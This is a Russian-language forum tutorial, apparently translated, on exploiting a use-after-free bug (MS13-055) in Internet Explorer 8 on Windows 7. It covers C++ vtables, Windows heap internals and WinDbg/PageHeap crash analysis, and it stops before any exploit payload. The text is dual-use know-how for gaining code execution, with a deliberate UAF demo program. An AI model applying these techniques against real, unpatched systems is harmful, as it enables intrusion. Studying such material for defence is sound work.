• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация браузера на Windows - понимание уязвимостей, связанных с UAF

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Разработка Эксплойтов: Эксплуатация Браузера на Windows - Понимание Уязвимостей, связанных с UAF

72 минуты на чтение

Введение

Эксплуатация браузера - это тема, которая была для меня невероятно сложной. Оглядываясь назад на свой путь за последние полтора года или около того с тех пор, как я начал погружаться в бинарную эксплуатацию, особенно в Windows, я помню, как испытывал то же чувство при эксплуатации ядра. Я до сих пор помню, как однажды проснулся и понял, что мне просто нужно погрузиться в него, если я когда-нибудь захочу расширить свои знания. Оглядываясь назад, я понимаю, что, хотя мне еще предстоит многое узнать об этом, и я все еще новичок в эксплуатации ядра, я понял, что это было мое желание просто вскочить, независимо от уровня сложности, что помогло мне в конечном итоге понять некоторые концепции, связанные с большим количеством эксплуатации современного ядра.

Еще одним моим опасением всегда было использование браузера, даже больше, чем ядра Windows, потому что вам нужно не только понимать общие примитивы эксплойтов и классы уязвимостей, характерные для Windows, но также необходимо понимать другие темы, такие как различные движки JavaScript, JIT-компиляторы и множество других предметов, которые сами по себе трудны (по крайней мере, для меня) для понимания. Кроме того, добавление специальных средств защиты для браузера также стало определяющим фактором для меня, откладывающего изучение этого предмета.

Что всегда пугало, так это отсутствие (по моей оценке) ресурсов, связанных с эксплуатации браузера в Windows. Многие люди могут просто проанализировать фрагмент кода и придумать работающий эксплойт в течение нескольких часов. Для меня это не так. Я учусь, беря POC вместе с блога и просматриваю код в отладчике. Оттуда я анализирую все, что происходит, и пытаюсь задать себе вопрос "Почему автор посчитал важным упомянуть концепцию X или показать фрагмент кода Y?", А также попытаться ответить на этот вопрос. В дополнение к этому, я стараюсь сначала вооружиться необходимыми знаниями, чтобы даже начать процесс эксплуатации (например, "Автор упомянул, что это результат поддельной таблицы виртуальных функций.Что такое таблица виртуальных функций?"). Это помогает мне понять основные концепции. Оттуда я могу взять другие POC, которые используют те же классы уязвимостей, и использовать их в качестве оружия, но это первое начальное пошаговое руководство нужно мне самому.

Так как это мой стиль обучения, я обнаружил, что блогов об эксплуатации браузера Windows, которые показывают все с самого начала, очень мало. Поскольку я использую ведение блога как механизм не только для того, чтобы делиться тем, что я знаю, но и для закрепления концепций, которые я пытаюсь реализовать, я подумал, что мне потребуется несколько месяцев, теперь, когда Advanced Windows Exploitation (AWE) снова отменяется на 2021 год, изучить возможности эксплуатации браузеров в Windows и поговорить об этом.

Обратите внимание, что здесь будет продемонстрировано не распыление в куче как метод выполнения. Это будут реальные уязвимости, которые будут эксплуатироваться. Однако следует также отметить, что мы начнем в Internet Explorer 8 в Windows 7 x86. Мы по-прежнему будем описывать использование методов повторного использования кода для обхода DEP, но не ожидаем включенного MemGC, Delay Free и т.д. для этого урока и, скорее всего, для следующих нескольких. Это будет просто документирование моего мыслительного процесса, если вам интересно, как я перешел от сбоя к идентификации уязвимости и, надеюсь, к шеллу в конце.

Понимание уязвимостей Use-After-Free

Как было сказано выше, уязвимость, которую мы рассмотрим, - это UAF. В частности, MS13-055, который называется Microsoft Internet Explorer CAnchorElement Use-After-Free. Что именно это значит? Уязвимости, связанные с использованием после освобождения, хорошо задокументированы и довольно распространены. Есть отличные объяснения, но для краткости и полноты я постараюсь их объяснить. По сути, происходит следующее - фрагмент памяти (фрагменты - это просто непрерывные фрагменты памяти, такие как буфер. Каждая часть памяти, известная как блок, в системах x86 имеет размер 0x8 байтов или 2 DWORDS. Не забывайте о них) выделяется диспетчером кучи (в Windows есть front-end распределитель, известный как куча с низкой фрагментацией, и стандартный back-end распределитель. Мы поговорим об этом в следующем разделе). В какой-то момент в течение жизненного цикла программы этот фрагмент памяти, который был ранее выделен, "освобождается", что означает, что выделение очищается и может быть повторно использовано диспетчером кучи снова для запросов на выделение.

Допустим, выделение было по адресу памяти 0x15000. Допустим, блок, когда он был выделен, содержал 0x40 байтов из 0x41 символа. Если бы мы разыменовали адрес 0x15000, вы могли бы ожидать увидеть 0x41s (это псевдо-язык, и сейчас его следует воспринимать как высокий уровень). Когда это выделение освобождается, если вы вернетесь и снова разыменуете адрес, вы можете увидеть недопустимую память (например, что-то вроде ???? в WinDbg), если адрес не использовался для обслуживания запросов на выделение и все еще находится в свободном состоянии.

Уязвимость проявляется в блоке, который был выделен, но теперь освобожден, он по-прежнему используется программой, хотя и находится в "свободном" состоянии. Обычно это приводит к сбою, так как программа пытается получить доступ и/или разыменовать память, которая просто больше не действительна. Обычно это вызывает какое-то исключение, приводящее к сбою программы.

Теперь, когда определено то, чем мы пытаемся воспользоваться, ускользает от темы, давайте поговорим о том, как это условие возникает в нашем конкретном случае.

Классы, конструкторы, деструкторы и виртуальные функции C++

Вы можете знать или не знать, что браузеры, хотя они интерпретируют/выполняют JavaScript, на самом деле написаны на C++. Благодаря этому они придерживаются номенклатуры C++, такой как реализация классов, виртуальных функций и т. д. Давайте начнем с основ и поговорим о некоторых основополагающих концепциях C++.

Класс в C++ очень похож на типичную структуру, которую вы можете увидеть в C. Разница, однако, в том, что в классах вы можете определить более строгую область, где можно получить доступ к членам класса, с такими ключевыми словами, как private или public. По умолчанию члены классов являются закрытыми, то есть к членам могут получить доступ только класс и унаследованные классы. Мы поговорим об этих концепциях через секунду. Приведем небольшой пример кода.

C++:
#include <iostream>
using namespace std;

// Это главный класс (базовый класс)
class classOne
{
    public:

        // Это наш пользовательский конструктор
        classOne()
        {
            cout << "Hello from the classOne constructor" << endl;
        }

        // Это наш пользовательский деструктор
        ~classOne()
        {
            cout << "Hello from the classOne destructor!" << endl;
        }

    public:
        virtual void sharedFunction(){};                // Прототип виртуальной функции
        virtual void sharedFunction1(){};                // Прототип виртуальной функции
};

// Это производный/под класс
class classTwo : public classOne
{
    public:

        // Это наш пользовательский конструктор
        classTwo()
        {
            cout << "Hello from the classTwo constructor!" << endl;
        };

        // Это наш пользовательский деструктор
        ~classTwo()
        {
            cout << "Hello from the classTwo destructor!" << endl;
        };

    public:
        void sharedFunction()                            
        {
            cout << "Hello from the classTwo sharedFunction()!" << endl;        // Создаем ДРУГОЕ определение функции для sharedFunction()
        };

        void sharedFunction1()
        {
            cout << "Hello from the classTwo sharedFunction1()!" << endl;        // Создаем ДРУГОЕ определение функции для sharedFunction1()
        };
};

// Это еще один производный/под класс
class classThree : public classOne
{
    public:

        // Это наш пользовательский конструктор
        classThree()
        {
            cout << "Hello from the classThree constructor" << endl;
        };

        // Это наш пользовательский деструктор
        ~classThree()
        {
            cout << "Hello from the classThree destructor!" << endl;
        };
   
    public:
        void sharedFunction()
        {
            cout << "Hello from the classThree sharedFunction()!" << endl;     // Создаем ДРУГОЕ определение функции для  sharedFunction()
        };

        void sharedFunction1()
        {
            cout << "Hello from the classThree sharedFunction1()!" << endl;     // Создаем ДРУГОЕ определение функции для sharedFunction1()
        };
};

// Main function
int main()
{
    // Создаем экземпляр базового/основного класса и устанавливаем его в один из производных классов
    // Поскольку classTwo и classThree являются подклассами, они наследуют все, что прототипы/определяют classOne, поэтому допустимо установить адрес объекта classOne на объект classTwo
    // Конструктор класса 1 будет вызываться дважды (для каждого созданного объекта classOne), а конструкторы classTwo + classThree вызываются один раз каждый (всего 4)
classOne * c1 = новый classTwo;
classOne* c1_2 = new classThree;

    // Вызов виртуальных функций
    c1->sharedFunction();
    c1_2->sharedFunction();
    c1->sharedFunction1();
    c1_2->sharedFunction1();

    // Деструкторы вызываются, когда объект явно уничтожается с помощью delete
    delete c1;
    delete c1_2;
}

Приведенный выше код создает три класса: один "основной" или "базовый" класс (classOne), а затем два класса, которые являются "производными" или "подклассами" базового класса classOne. (classTwo и classThree в этом случае являются производными классами).

У каждого из трех классов есть конструктор и деструктор. Конструктор называется так же, как и класс, как и его собственная номенклатура. Так, например, конструктором класса classOne является classOne(). Конструкторы - это, по сути, методы, которые вызываются при создании объекта. Его общая цель состоит в том, что они используются для инициализации переменных внутри класса всякий раз, когда создается объект класса. Так же, как создание объекта для структуры, создание объекта класса выполняется так: classOne c1. В нашем случае мы создаем объекты, которые указывают на класс classOne, что, по сути, одно и то же, но вместо прямого доступа к членам мы обращаемся к ним через указатели. По сути, просто знайте, что всякий раз, когда создается объект класса (classOne* cl в нашем случае), конструктор вызывается при создании этого объекта.

В дополнение к каждому конструктору у каждого класса есть деструктор. Деструктор называется ~nameoftheClass(). Деструктор - это то, что вызывается всякий раз, когда объект класса в нашем случае собирается выйти за пределы области видимости. Это может быть либо код, достигший конца выполнения, либо, как в нашем случае, оператор delete вызывается для одного из ранее объявленных объектов класса (cl и cl_2). Деструктор является обратным конструктору - это означает, что он вызывается всякий раз, когда объект удаляется. Обратите внимание, что деструктор не имеет типа, не принимает аргументы функции и не возвращает значение

В дополнение к конструктору и деструктору мы видим, что classOne прототипирует две "виртуальные функции" с пустыми определениями. Согласно документации Microsoft (https://docs.microsoft.com/en-us/cpp/cpp/virtual-functions?view=msvc-160), виртуальная функция - это "функция-член, которую вы ожидаете переопределить в производном классе". Если вы изначально не знакомы с C++, как и я, вам может быть интересно, что такое функция-член. Попросту говоря, функция-член - это просто функция, которая определена в классе как член. Вот пример структуры, которую вы обычно видите в C:

C:
struct mystruct{
    int var1;
    int var2;
}

Как вы знаете, первым членом этой структуры является int var1. То же самое и с классами C++. Функция, которая определена в классе, также является его членом, отсюда и термин "член функци".

Причина, по которой существуют виртуальные функции, заключается в том, что они позволяют разработчику создавать прототип функции в основном классе, но позволяют разработчику переопределить функцию в производном классе. Это работает, потому что производный класс может наследовать все переменные, функции и т.д. из своего "родительского" класса. Это можно увидеть в приведенном выше фрагменте кода, помещенном здесь для краткости: classOne* c1 = new classTwo;. Он берет производный класс classOne, которым является classTwo, и указывает объект classOne(c1) на производный класс.
Это гарантирует, что всякий раз, когда объект (например,c1) вызывает функцию, это правильно определенная функция для этого класса. Так что в основном думайте об этом как о функции, которая объявлена в основном классе, наследуется подклассом, и каждому подклассу, который наследует ее, разрешено изменять то, что делает функция. Затем, когда объект класса вызывает виртуальную функцию, вызывается соответствующее определение функции, соответствующее вызывающему ее объекту класса.

Запустив программу, мы видим, что получаем ожидаемый результат:

1.png


Теперь, когда мы вооружились базовым пониманием некоторых ключевых концепций, в основном конструкторов, деструкторов и виртуальных функций, давайте посмотрим на ассемблерный код того, как выбирается виртуальная функция.

Обратите внимание, что нет необходимости повторять эти шаги, если вы следуете им.Однако, если вы хотите следовать пошаговым инструкциям, имя этого .exe — virtualfunctions.exe. Этот код был скомпилирован с помощью Visual Studio как Empty C++ Project. Мы строим solution в режиме отладки. Кроме того, вы захотите открыть свой код в Visual Studio. Убедитесь, что для программы установлено значение x64, что можно сделать, выбрав раскрывающийся список рядом с локальным отладчиком Windows в верхней части Visual Studio.

Перед компиляцией выберите Project>nameofyourproject Properties. Отсюда щелкните C/C++ и щелкните Все параметры. Для параметра Debug Information Format измените значение на Program Database /Zi.

2.png


После этого следуйте этим инструкциям от Microsoft ( https://docs.microsoft.com/en-us/cp...-in-the-visual-studio-development-environment) о том, как настроить компоновщик для создания всей возможной отладочной информации.

Теперь создайте solution и запустите WinDbg. Откройте .exe в WinDbg (обратите внимание, что вы не присоединяете, а открываете двоичный файл) и выполните следующую команду в командном окне WinDbg: .symfix. Это автоматически настроит символы отладки для вас, что позволит вам разрешать имена функций не только в virtualfunctions.exe, но и в библиотеках DLL Windows. Затем выполните команду .reload, чтобы обновить символы.

После того, как вы это сделали, сохраните текущую рабочую область, выбрав File > Save Workspace. Это сохранит вашу конфигурацию разрешения символов.

Для целей этой уязвимости нас больше всего интересует таблица виртуальных функций. Имея это в виду, давайте установим точку останова для функции main с помощью команды WinDbg bp virtualfunctions!main. Поскольку в нашем распоряжении есть исходный файл, WinDbg автоматически сгенерирует окно просмотра с фактическим C кодом и будет проходить через этот код по мере того, как вы проходите через него.

В WinDbg выполните код с помощью t до, пока мы не дойдем до c1-> sharedFunction().


3.png


Достигнув начала вызова виртуальной функции, давайте установим точки останова на следующих трех инструкциях после инструкции в RIP. Для этого используйте bp 00007ff7b67c1703 и т. д.

4.png


Переходя к следующей инструкции, мы видим, что значение, на которое указывает RAX, будет перемещено в RAX. Это значение, согласно WinDbg, - это virtualfunctions!ClassTwo::vftable.

5.png


Как мы видим, этот адрес является указателем на "vftable" (указатель таблицы виртуальных функций, или vptr). Vftable - это таблица виртуальных функций, которая по сути представляет собой структуру указателей на различные виртуальные функции. Вспомните, как мы говорили ранее: "когда класс вызывает виртуальную функцию, программа будет знать, какая функция соответствует каждому объекту класса". Вот этот процесс в действии. Давайте посмотрим на текущую инструкцию и две следующие.

6.png


Возможно, вы не сможете сказать это сейчас, но такая процедура (например, mov reg, [ptr] + call [ptr]) указывает на то, что конкретная виртуальная функция извлекается из таблицы виртуальных функций. Давайте пройдемся сейчас, чтобы увидеть, как это работает. При вызове, vptr (который является указателем на таблицу) загружается в RAX. Давайте теперь взглянем на эту таблицу.

7.png


Хотя эти символы немного сбивают с толку, обратите внимание, что у нас здесь два указателя - один - "sharedFunctionclassTwo", а другой — "sharedFunction1classTwo". На самом деле это указатели на две виртуальные функции в classTwo!

Если мы перейдем к вызову, мы увидим, что это вызов, который перенаправляет на переход к виртуальной функции sharedFunction, определенной в classTwo!

8.png


Затем продолжайте переходить к инструкциям в отладчике, пока мы не дойдем до инструкции c1-> sharedFunction1(). Обратите внимание, что по мере продвижения вы в конечном итоге увидите процедуру того же типа, которая выполняется с sharedFunction внутри classThree.

9.png


Опять же, мы можем наблюдать тот же тип поведения, только на этот раз инструкция вызова - call qword ptr [rax+0x8]. Это связано с тем, как виртуальные функции выбираются из таблицы. Грамотно составленная диаграмма Microsoft Paint ниже показывает, как программа индексирует таблицу при наличии нескольких виртуальных функций, как в нашей программе.

10.png

Как мы помним из нескольких изображений которые были раньше, где мы сдампили таблицу и увидели два адреса наших виртуальных функций. Мы видим, что на этот раз выполнение программы будет вызывать эту таблицу со смещением 0x8, которое на этот раз является указателем на sharedFunction1, а не sharedFunction!

11.png


Выполняя инструкции, мы переходим на sharedFunction1.

12.png


После выполнения всех виртуальных функций будет вызван наш деструктор. Поскольку мы создали только два объекта classOne и удаляем только эти два объекта, мы знаем, что будет вызван только деструктор classOne, что очевидно при поиске термина "деструктор" в IDA. Мы видим, что будет вызвана функция j_operator_delete, которая представляет собой просто длинный и затянутый переход к функции UCRTBASED Windows API _free_dbg, чтобы уничтожить объект. Обратите внимание, что обычно это был бы бесплатный вызов функции C Runtime, но поскольку мы создали эту программу в режиме отладки, по умолчанию используется отладочная версия.

13.png


14.png


15.png


16.png


17.png


18.png



19.png


Круто! Теперь мы знаем, как классы C++ индексируют таблицы виртуальных функций для извлечения виртуальных функций, связанных с данным объектом класса. Почему это важно? Напомним, это будет эксплойт браузера, а браузеры написаны на C++! Эти объекты класса, которые почти наверняка будут использовать виртуальные функции, размещены в куче! Это нам очень пригодится.

Прежде чем мы перейдем к нашему пути эксплуатации, давайте потратим всего несколько дополнительных минут, чтобы показать, как потенциально может выглядеть UAF с программной точки зрения. Добавим в основную функцию следующий фрагмент кода:

C++:
// Main function
int main()
{
    classOne* c1 = new classTwo;
    classOne* c1_2 = new classThree;

    c1->sharedFunction();
    c1_2->sharedFunction();

    delete c1;
    delete c1_2;

    // Создание ситуации UAF. Доступ к члену объекта класса c1 после того, как он был освобожден
       c1->sharedFunction();
}

Пересоберите решение. После перестройки давайте сделаем WinDbg нашим отладчиком по умолчанию. Откройте сеанс cmd.exe от имени администратора и измените текущий рабочий каталог на установку WinDbg. Затем введите windbg.exe -I.

20.png


Эта команда настроила WinDbg на автоматическое присоединение и анализ программы, которая только что потерпела крах. Приведенное выше добавление кода должно привести к сбою нашей программы.

Кроме того, прежде чем двигаться дальше, мы собираемся включить функцию Windows SDK, известную как gflags.exe. glfags.exe, используя свои функции PageHeap, предоставляет чрезвычайно подробную отладочную информацию о куче. Для этого в том же каталоге, что и WinDbg, введите следующую команду, чтобы включить PageHeap для нашего процесса gflags.exe /p /enable C:\Path\To\Your\virtualfunctions.exe. Вы можете узнать больше о PageHeap здесь (https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-and-pageheap) и здесь (https://docs.microsoft.com/en-us/wi...---using-page-heap-verification-to-find-a-bug). По сути, поскольку мы имеем дело с недействительной памятью, PageHeap поможет нам разобраться в вещах, указав "шаблоны" для распределения кучи. Например, если страница свободна, она может заполнить ее шаблоном, чтобы вы знали, что она свободна, а не просто показывать ??? в WinDbg, или просто вылетает.

После добавления кода снова запустите .exe, и WinDbg должен запуститься.

21.png


После включения PageHeap давайте запустим уязвимый код. (Обратите внимание, что вам может потребоваться щелкнуть правой кнопкой мыши изображение ниже и открыть его в новой вкладке)

22.png


Очень интересно, мы видим, что произошел сбой! Обратите внимание на инструкцию call qword ptr [rax], на которую мы также остановились. Во-первых, это результат включения PageHeap, то есть мы можем точно увидеть, где произошел сбой, а не просто увидеть стандартное нарушение доступа. Вспомните, где вы это видели? Похоже, это попытка вызова несуществующей виртуальной функции! Это потому, что объект класса был размещен в куче. Затем, когда вызывается delete для освобождения объекта и вызывается деструктор, он уничтожает объект класса. Именно это и произошло в этом случае - объект класса, из которого мы пытаемся вызвать виртуальную функцию, уже освобожден, поэтому мы вызываем память, которая является недействительной.

Что, если бы мы смогли выделить некоторую память в куче вместо освобожденного объекта? Можем ли мы потенциально контролировать выполнение программы? Это будет нашей целью и, надеюсь, приведет к тому, что мы сможем получить контроль над стеком и получить оболочку. Наконец, давайте уделим несколько минут тому, чтобы ознакомиться с кучей Windows, прежде чем перейти к эксплуатации.

Диспетчер кучи Windows - Куча с низкой фрагментацией (LFH), внутренний распределитель и кучи по умолчанию

Лучшее объяснение LFH и просто управления кучей в Windows в целом можно найти по этой ссылке (http://illmatics.com/Understanding_the_LFH.pdf). Статья Криса Валасека о LFH является фактическим стандартом понимания того, как работает LFH и как он работает с бэкэнд менеджером, и большая часть, если не вся, информация, представленная здесь, исходит оттуда. Обратите внимание, что после Windows 7 куча претерпела несколько незначительных и серьезных изменений, и следует учитывать, что методы, использующие внутренние компоненты кучи, могут быть неприменимы напрямую к Windows 10 или даже Windows 8.

Следует отметить, что выделение кучи технически начинается с запроса фронт-энд менеджера, но поскольку LFH, который является интерфейсным менеджером в Windows, не всегда включен, внутренний менеджер в конечном итоге определяет, какие сервисы запрашивает первый.

Куча Windows управляется структурой, известной как HeapBase или ntdll! _HEAP. Эта структура содержит множество членов для получения/предоставления соответствующей информации о куче.

Структура ntdll! _HEAP содержит член с именем BlocksIndex. Этот член относится к типу _HEAP_LIST_LOOKUP, который представляет собой структуру связанного списка. (Вы можете получить список активных куч с помощью команды !heap и передать адрес в качестве аргумента в dt ntdll_HEAP). Эта структура используется для хранения важной информации для управления свободными фрагментами, но делает гораздо больше.

23.png


Далее, вот как выглядит структура HeapBase-> BlocksIndex (_HEAP_LIST_LOOKUP).

24.png


Первый член этой структуры является указателем на следующую структуру _HEAP_LIST_LOOKUP в строке, если таковая имеется. Существует также член ArraySize, который определяет, до какого размера фрагменты будет отслеживать эта структура. В Windows 7 поддерживаются только два размера, что означает, что этот член - либо 0x80, что означает, что структура будет отслеживать фрагменты до 1024 байтов, либо 0x800, что означает, что структура будет отслеживать до 16 КБ. Это также означает, что для каждой кучи в Windows 7 технически есть только две из этих структур: одна для поддержки размера массива 0x80, а другая - для размера массива 0x800.

HeapBase->BlocksIndex, имеющий тип _HEAP_LIST_LOOKUP, также содержит член с именем ListHints, который является указателем на структуру FreeLists, которая представляет собой связанный список указателей на свободные фрагменты, доступные для запросов на обслуживание. Индекс в ListHints фактически основан на члене BaseIndex, который строится на основе размера, предоставленного ArraySize. Взгляните на изображение ниже, которое использует другую структуру _HEAP_LIST_LOOKUP, основанную на члене ExtendedLookup первой структуры, предоставленной ntdll!_HEAP.

25.png


Например, если для ArraySize установлено значение 0x80, как показано в первой структуре, член BaseIndex равен 0, поскольку он управляет фрагментами размером 0x0–0x80, что является наименьшим возможным размером. Поскольку этот снимок экрана сделан в Windows 10, мы не ограничены 0x80 и 0x800, а следующий размер на самом деле 0x400. Поскольку это второй наименьший размер, член BaseIndex увеличивается до 0x80, так как теперь обрабатываются блоки размером 0x80 — 0x400. Это значение BaseIndex затем используется вместе с целевым размером выделения для индексации ListHints, чтобы получить блок для обслуживания выделения. Вот как индексируется ListHints, связанный список, чтобы найти свободный кусок подходящего размера для использования через менеджер.

Что нас интересует, так это то, что BLINK (обратная ссылка) этой структуры ListHints, когда front-end менеджер не включен, на самом деле является указателем на счетчик. Поскольку ListHints будет индексироваться на основе определенного запрашиваемого размера блока, этот счетчик используется для отслеживания запросов на выделение этого определенного размера. Если 18 последовательных распределений сделаны для одного и того же размера блока, это включает LFH.

Вкратце о LFH: LFH используется для обслуживания запросов, удовлетворяющих вышеуказанным эвристическим требованиям, то есть 18 последовательных распределений одинакового размера. Помимо этого, внутренний распределитель, скорее всего, будет вызван для попытки обслуживания запросов. Запуск LFH в некоторых случаях полезен, но для целей нашего эксплойта нам не нужно запускать LFH, так как он уже будет включен для нашей кучи. После включения LFH он остается включенным по умолчанию. Это полезно для нас, так как теперь мы можем просто создавать объекты для замены освобожденной памяти. Почему? LFH также является LIFO в Windows 7, как и стек (https://www.corelan.be/index.php/2016/07/05/windows-10-x86wow64-userland-heap/). Последний освобожденный фрагмент - это первый выделенный фрагмент в следующем запросе. Это пригодится позже. Обратите внимание, что это больше не относится к более обновленным системам, и куча имеет большую степень рандомизации.

В любом случае, о LFH в целом, особенно о куче под Windows, стоит поговорить. LFH существенно оптимизирует способ распределения памяти кучи, чтобы избежать разрыва или фрагментации памяти на несмежные блоки, так что почти все запросы к памяти кучи могут быть обслужены. Обратите внимание, что LFH может адресовать только выделения размером до 16 КБ. На данный момент это то, что нам нужно знать о том, как обслуживаются распределения кучи.

Теперь, когда мы поговорили о диспетчере кучи, давайте поговорим об использовании в Windows.

У процессов в Windows есть по крайней мере одна куча, известная как куча процесса по умолчанию. Для большинства приложений, особенно небольших по размеру, этого более чем достаточно, чтобы обеспечить соответствующие требования к памяти для функционирования процесса. По умолчанию это 1 МБ, но приложения могут расширять свои кучи по умолчанию до большего размера. Однако для приложений с большим объемом памяти используются дополнительные алгоритмы, такие как front-end менеджер. LFH - это front-end менеджер в Windows, начиная с Windows 7.

В дополнение к вышеупомянутым диспетчерам кучи существует также куча сегментов, которая была добавлена в Windows 10. Об этом можно прочитать здесь (https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf).

Обратите внимание, что это объяснение кучи может быть более полно объяснено в статье Криса, и приведенные выше объяснения не являются исчерпывающим списком, больше нацелены на Windows 7 и перечислены просто для краткости и потому, что они применимы к этому эксплойту.

Стратегия уязвимости и эксплуатации

Теперь, когда мы поговорили о C++ и поведении кучи в Windows, давайте перейдем к самой уязвимости. Полный сценарий эксплойта доступен в Exploit-DB от команды Metasploit (https://www.exploit-db.com/exploits/28187), и если вас смущает комбинация Ruby и HTML/JavaScript, я пошел дальше и сократил код до "кода триггера", что вызывает сбой.

26.png


Возвращаясь к уязвимости и читая описание, эта уязвимость возникает, когда CPhraseElement идет после элемента CTableRow, а последний узел является элементом подтаблицы. Сначала это может показаться запутанным и нелогичным, и это потому, что это так. Не беспокойтесь в первую очередь о порядке кода, а о фактической основной причине, которая заключается в том, что когда свойство outerText объекта CPhraseElement сбрасывается (освобождается). Однако после того, как этот объект был освобожден, ссылка на него все еще остается в коде C++. Эта ссылка затем передается функции, которая в конечном итоге попытается получить виртуальную функцию для объекта. Однако, как мы видели ранее, доступ к виртуальной функции для освобожденного объекта приведет к сбою - и именно это здесь и происходит. Кроме того, эта уязвимость была опубликована на HitCon 2013. Вы можете просмотреть слайды здесь (https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf), которые содержат аналогичное POC. Обратите внимание, что хотя имена описанных элементов не совпадают с именами элементов в HTML, обратите внимание, что когда именуется что-то вроде CPhraseElement, оно относится к классу C++, который управляет определенным объектом. Так что пока просто сосредоточьтесь на том факте, что у нас есть функция JavaScript, которая по существу создает элемент, а затем устанавливает для свойства outerText значение NULL, что, по сути, выполняет "освобождение".

Итак, давайте перейдем в крэш. Прежде чем начать, обратите внимание, что все это делается на машине Windows 7 x86, Service Pack 0. Кроме того, мы сосредоточимся на браузере Internet Explorer 8. Если на компьютере с Windows 7 x86, на котором вы работаете, установлен Internet Explorer 11, убедитесь, что вы удалили его, чтобы по умолчанию использовался Internet Explorer 8. Простой поиск в Google поможет вам удалить IE11. Кроме того, вам понадобится WinDbg для отладки. Пожалуйста, используйте Windows SDK версии 8 для этого эксплойта, как и в Windows 7. Его можно найти здесь (https://go.microsoft.com/fwlink/p/?LinkId=226658).

После сохранения кода в виде файла .html при его открытии в Internet Explorer обнаруживается сбой, как и ожидалось.

27.png



Теперь, когда мы знаем, что наш POC приведет к сбою браузера, давайте сделаем WinDbg нашим отладчиком по умолчанию, точно так же, как мы делали это раньше, чтобы определить почему произошел сбой.

28.png



Снова запустив POC, мы видим, что наш сбой зарегистрирован в WinDbg, но это кажется бессмысленным.

29.png


Мы знаем, в соответствии с рекомендациями, что это условие UAF. Мы также знаем, что это результат выборки виртуальной функции из объекта, который больше не существует. Зная это, мы должны ожидать разыменования некоторой памяти, которая больше не существует. Однако это не так, и мы просто видим ссылку на недопустимую память. Вспомните, когда мы включали PageHeap! Здесь нам нужно сделать то же самое и включить PageHeap для Internet Explorer. Воспользуйтесь той же командой, что и ранее, но на этот раз укажите iexplore.exe.

30.png


После включения PageHeap давайте повторно запустим POC.

31.png


Интересно! Инструкция, по которой подает программа, взята из класса CElement. Обратите внимание на инструкцию, по которой происходит сбой: mov reg, dword ptr [eax + 70h]. Если мы дизассемблируем текущий указатель инструкции, мы увидим нечто, очень напоминающее наши инструкции ассемблирования, которые мы показали ранее для выборки виртуальной функции.

32.png


Вспомните, как в прошлый раз в нашей 64-битной системе процесс заключался в получении vptr или указателя на таблицу виртуальных функций, а затем в вызове того, на что указывает этот указатель, с определенным смещением. Например, при разыменовании vptr со смещением 0x8 будет взята таблица виртуальных функций, а затем вторая запись (запись 1 - 0x0, запись 2 - 0x8, запись 3 - 0x18, запись 4 - 0x18 и т.д.) и вызовите это.

Однако эта методология может выглядеть по-разному, в зависимости от того, используете ли вы 32-разрядную систему или 64-разрядную систему, и оптимизация компилятора также может изменить это, но общая концепция остается. Давайте теперь посмотрим на изображение выше.

Здесь происходит загрузка vptr через [ecx]. Vptr загружается в ECX, а затем разыменовывается, сохраняя указатель в EAX. Регистр EAX, который теперь содержит указатель на таблицу виртуальных функций, затем принимает указатель, вводит 0x70 байт и разыменовывает адрес, который будет одной из виртуальных функций (какая функция когда-либо хранится в virtual_function_table + 0x70)! Виртуальная функция помещается в EDX, а затем вызывается EDX.

Обратите внимание, как мы получаем тот же результат, что и наша простая программа ранее, хотя инструкции по ассемблированию немного отличаются? Поиск этих типов подпрограмм очень указывает на выборку виртуальной функции!

Прежде чем двигаться дальше, вспомним прежнюю картинку.

33.png


Обратите внимание на состояние EAX при сбое функции (прямо под оператором Access Violation). Вроде есть своего рода шаблон f0f0f0f0. Это шаблон gflags.exe для "освобожденного выделения", означающий, что значение в EAX находится в свободном состоянии. Это имеет смысл, поскольку мы пытаемся проиндексировать объект, которого просто больше не существует!

Перезапустите POC, и когда произойдет сбой, давайте выполним следующую команду !heap -p -a ecx.

34.png



Почему ECX? Как мы знаем, первое, что делает процедура выборки виртуальной функции - это загружает vptr из ECX в EAX. Поскольку это указатель на таблицу, которая была выделена кучей, технически это указатель на кусок кучи. Несмотря на то, что память находится в свободном состоянии, в данном случае на нее указывает значение [ecx], которым является vptr. Только до тех пор, пока мы не разыменуем память, мы сможем увидеть, что этот фрагмент действительно недействителен.

Двигаясь дальше, взгляните на стек вызовов, мы можем увидеть вызовы функций, которые привели к освобождению блока. В команде !heap -p означает использование параметра PageHeap, а -a - дамп всего фрагмента. В Windows, когда вы вызываете что-то вроде функции среды выполнения C, например free, она в конечном итоге передаст выполнение Windows API. Зная это, мы знаем, что "самый низкий уровень" (например, last) вызов функции внутри модуля для всего, что напоминает слово "free" или "destructor", отвечает за освобождение. Например, если у нас есть .exe с именем vulnexe, и vulnexe вызывает вызовы free из библиотеки MSVCRT (библиотека времени выполнения Microsoft C), он в конечном итоге передаст выполнение KERNELBASE!HeapFree или kernel32!HeapFree, в зависимости от того, в какой системе вы работаете. Теперь цель состоит в том, чтобы идентифицировать такое поведение и определить, какой класс на самом деле обрабатывает свободный объект, который отвечает за освобождение объекта (обратите внимание, это не обязательно означает, что это "уязвимый фрагмент кода", это просто означает, что именно здесь происходит освобождение).

Обратите внимание, что при анализе стеков вызовов в WinDbg, который представляет собой просто список вызовов функций, которые привели к тому, где в настоящее время находится выполнение, нижняя функция находится там, где находится начало, а верхняя - там, где выполнение в настоящее время/завершается. Анализируя стек вызовов, мы видим, что последний вызов перед срабатыванием kernel32 или ntdll поступил из библиотеки mshtml и из класса CanchorElement. Из этого класса мы видим, что деструктор запускает освобождение. Вот почему в уязвимости есть слова CAnchorElement Use-After-Free!

Замечательно, мы знаем, из-за чего объект освобождается! Согласно нашему предыдущему разговору о нашей всеобъемлющей стратегии эксплуатации, мы могли бы попытаться заполнить недействительную память некоторой памятью, которую мы контролируем! Однако мы также говорили о куче в Windows и о том, как разные структуры отвечают за определение того, какой фрагмент кучи используется для обслуживания выделения.
Это сильно зависит от размера выделения.

